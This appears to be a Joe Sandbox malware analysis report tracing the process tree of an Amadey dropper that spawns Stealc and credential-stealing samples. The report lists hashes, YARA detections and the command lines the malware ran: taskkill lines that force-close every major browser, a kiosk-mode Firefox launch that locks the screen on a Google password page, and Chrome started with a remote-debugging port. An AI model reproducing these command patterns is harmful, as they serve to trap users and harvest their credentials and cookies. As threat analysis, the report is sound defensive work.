2024-11-23 10:23:01 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeo

Target ID:	0
Start time:	05:21:00
Start date:	23/11/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x180000
File size:	1'973'760 bytes
MD5 hash:	FC20A6C027AAD707AA48822FF845634F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000003.1703329392.0000000004970000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000002.1743497306.0000000000181000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	05:21:03
Start date:	23/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0x10000
File size:	1'973'760 bytes
MD5 hash:	FC20A6C027AAD707AA48822FF845634F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000001.00000003.1729066323.0000000005040000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000001.00000002.1769268750.0000000000011000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 61%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	05:21:03
Start date:	23/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x10000
File size:	1'973'760 bytes
MD5 hash:	FC20A6C027AAD707AA48822FF845634F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000003.1732120363.0000000004AA0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000002.1772246727.0000000000011000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	05:22:00
Start date:	23/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x10000
File size:	1'973'760 bytes
MD5 hash:	FC20A6C027AAD707AA48822FF845634F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000006.00000003.2297023080.0000000004800000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000006.00000002.3014838891.0000000000011000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	05:22:17
Start date:	23/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe"
Imagebase:	0xec0000
File size:	4'395'520 bytes
MD5 hash:	BE3A1A14663876AD1FAFA3F52FD20337
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 39%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	05:22:25
Start date:	23/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe"
Imagebase:	0xb30000
File size:	1'824'256 bytes
MD5 hash:	DE62E1ACDA0525F44272ADAFB066C752
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000009.00000003.2669457783.000000000111C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000009.00000003.2641540029.000000000111A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000009.00000003.2666933055.000000000111A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000009.00000003.2695267530.000000000111E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000009.00000003.2642092712.000000000111D000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000009.00000003.2698732554.000000000112C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000009.00000003.2616116061.000000000111E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000009.00000003.2614684453.000000000111B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 39%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	05:22:34
Start date:	23/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe"
Imagebase:	0x130000
File size:	1'814'016 bytes
MD5 hash:	ABFA1D44AF50A6A065CF1029652FE4FD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000A.00000003.2645427733.0000000004B00000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000A.00000002.3029897215.0000000000DFE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000A.00000002.3014657915.0000000000131000.00000040.00000001.01000000.0000000B.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 39%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	05:22:38
Start date:	23/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe"
Imagebase:	0xb30000
File size:	1'824'256 bytes
MD5 hash:	DE62E1ACDA0525F44272ADAFB066C752
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000B.00000003.2756243278.00000000015FA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000B.00000003.2753258995.00000000015EC000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	12
Start time:	05:22:41
Start date:	23/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1008413001\9108c36d20.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1008413001\9108c36d20.exe"
Imagebase:	0xe70000
File size:	923'136 bytes
MD5 hash:	957D7A3741F63830407A37A58E741751
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialFlusher, Description: Yara detected Credential Flusher, Source: 0000000C.00000003.2703581543.00000000013B3000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 34%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	05:22:41
Start date:	23/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM firefox.exe /T
Imagebase:	0xc10000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	05:22:41
Start date:	23/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	05:22:43
Start date:	23/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM chrome.exe /T
Imagebase:	0xc10000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	05:22:43
Start date:	23/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	05:22:44
Start date:	23/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM msedge.exe /T
Imagebase:	0xc10000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	05:22:44
Start date:	23/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	05:22:44
Start date:	23/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM opera.exe /T
Imagebase:	0xc10000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	05:22:44
Start date:	23/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	05:22:44
Start date:	23/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM brave.exe /T
Imagebase:	0xc10000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	05:22:44
Start date:	23/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	05:22:44
Start date:	23/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	05:22:44
Start date:	23/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	05:22:44
Start date:	23/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	05:22:44
Start date:	23/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	05:22:46
Start date:	23/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2448 --field-trial-handle=2028,i,14999898261124399655,99952040929775553,262144 /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	05:22:47
Start date:	23/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe"
Imagebase:	0x130000
File size:	1'814'016 bytes
MD5 hash:	ABFA1D44AF50A6A065CF1029652FE4FD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001D.00000002.3014909810.0000000000131000.00000040.00000001.01000000.0000000B.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001D.00000003.2785242798.0000000004AE0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	30
Start time:	05:22:47
Start date:	23/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2304 -parentBuildID 20230927232528 -prefsHandle 2240 -prefMapHandle 2232 -prefsLen 25359 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {b905026f-7fb0-48f4-bda0-0aaae8364398} 6200 "\\.\pipe\gecko-crash-server-pipe.6200" 1f5c9b6e510 socket
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	05:22:49
Start date:	23/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4272 --field-trial-handle=2028,i,14999898261124399655,99952040929775553,262144 /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	05:22:51
Start date:	23/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default"
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	05:22:52
Start date:	23/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4108 -parentBuildID 20230927232528 -prefsHandle 2844 -prefMapHandle 4104 -prefsLen 26374 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {3515d1b8-cb3f-4c13-9976-c2ba99fe0412} 6200 "\\.\pipe\gecko-crash-server-pipe.6200" 1f5dbdabf10 rdd
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	05:22:52
Start date:	23/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe"
Imagebase:	0x4f0000
File size:	2'833'408 bytes
MD5 hash:	E46E731F878971F3BC5F5CF8FAD84AA5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 42%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	35
Start time:	05:22:53
Start date:	23/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2540 --field-trial-handle=2480,i,3370209604487546096,5591142597664395409,262144 /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	05:22:56
Start date:	23/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1008413001\9108c36d20.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1008413001\9108c36d20.exe"
Imagebase:	0xe70000
File size:	923'136 bytes
MD5 hash:	957D7A3741F63830407A37A58E741751
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	37
Start time:	05:22:56
Start date:	23/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM firefox.exe /T
Imagebase:	0xc10000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	05:22:56
Start date:	23/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	05:23:04
Start date:	23/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe"
Imagebase:	0x4f0000
File size:	2'833'408 bytes
MD5 hash:	E46E731F878971F3BC5F5CF8FAD84AA5
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Function 04B80C38 Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1745450025.0000000004B80000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b80000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 999c2a63341cdb917709538daacb661fbc203d9e81d5e38289bab0230202c4bf
Instruction ID: abc36571d0272f50f3fc0218dc2998da0da3cb850b625b5e48bdbf0a7da9dd9d
Opcode Fuzzy Hash: 999c2a63341cdb917709538daacb661fbc203d9e81d5e38289bab0230202c4bf
Instruction Fuzzy Hash: 37F096E624A210FE55923E515B445FE772AF5A22B076244AEF507D0401E3A47A4DF931

Function 04B80B37 Relevance: .1, Instructions: 106COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1745450025.0000000004B80000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b80000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6218e9c0f8216332272a564ef71affe00500e8f9dfbfacc06487e49d25ff05e1
Instruction ID: 9dd136a36efead55a95d0390fc6b240b2da231e4395bc2a9e0fca46a04a267b6
Opcode Fuzzy Hash: 6218e9c0f8216332272a564ef71affe00500e8f9dfbfacc06487e49d25ff05e1
Instruction Fuzzy Hash: FC216BA724D214FE92827E515B516F97B2AE6A31B433205FEE403C6902F3942A4DF531

Function 04B80B90 Relevance: .1, Instructions: 102COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1745450025.0000000004B80000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b80000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a9bd4e9b2b73c4134449116fefcb1dbd0b16a05f36c0a9b975a9c77b040a9da4
Instruction ID: f9a5c668e4f5f41e51bbe739780cc0a41bd33dc8cb86a2ee415cf1703594adea
Opcode Fuzzy Hash: a9bd4e9b2b73c4134449116fefcb1dbd0b16a05f36c0a9b975a9c77b040a9da4
Instruction Fuzzy Hash: E2216DE720D214FE91823E515B415FA7B2AE6A31F432345FDE403C6842F3946A0EE531

Function 04B80BC6 Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1745450025.0000000004B80000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b80000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e79d7128b90cbb066d2453413a69e959f41ccc48394f4ea977e87844cabc1f53
Instruction ID: c9109650e9907d660818ee163eb18559bb5fedd23b4952b818f82861da5737a2
Opcode Fuzzy Hash: e79d7128b90cbb066d2453413a69e959f41ccc48394f4ea977e87844cabc1f53
Instruction Fuzzy Hash: 961138A6249311FF91927E518B451FA7A2AFA632B472244BEF803C6402F3957A4CF921

Function 04B80B85 Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1745450025.0000000004B80000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b80000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: df9b6cbe892ebb0564e175e939f0f85591188894e97751af4d09084469c08046
Instruction ID: 16523517165fa7d37bf44836e923982d8c3b0720a8ce8723dadca6ddbadfb23f
Opcode Fuzzy Hash: df9b6cbe892ebb0564e175e939f0f85591188894e97751af4d09084469c08046
Instruction Fuzzy Hash: A3110AE734D211FE51827E515B559B97A2AF6A22F473344AEF803C5402F3947A4DF831

Function 04B80BE9 Relevance: .1, Instructions: 65COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1745450025.0000000004B80000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b80000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 39fcc111f271a5d2f86aa38541e00fa10e868ee5a5c4dd091cf6bfe55068a8ea
Instruction ID: e00465c93900e5b5d8fba4e0e542a3c4bbef925188db11d7cccc12c5d067525f
Opcode Fuzzy Hash: 39fcc111f271a5d2f86aa38541e00fa10e868ee5a5c4dd091cf6bfe55068a8ea
Instruction Fuzzy Hash: 000149E7249210FE91823F5197415FA7B2AF6621B476244BEF803C5802F3A47A4CFD21

Function 04B80C49 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1745450025.0000000004B80000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b80000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9b524b20a503c417f561df80fbcb3c2623352e61cef3654b28bd08ee2ffdb200
Instruction ID: b5848422cbc5869c96743037bb577487a56635959237caa479a252496eac66cf
Opcode Fuzzy Hash: 9b524b20a503c417f561df80fbcb3c2623352e61cef3654b28bd08ee2ffdb200
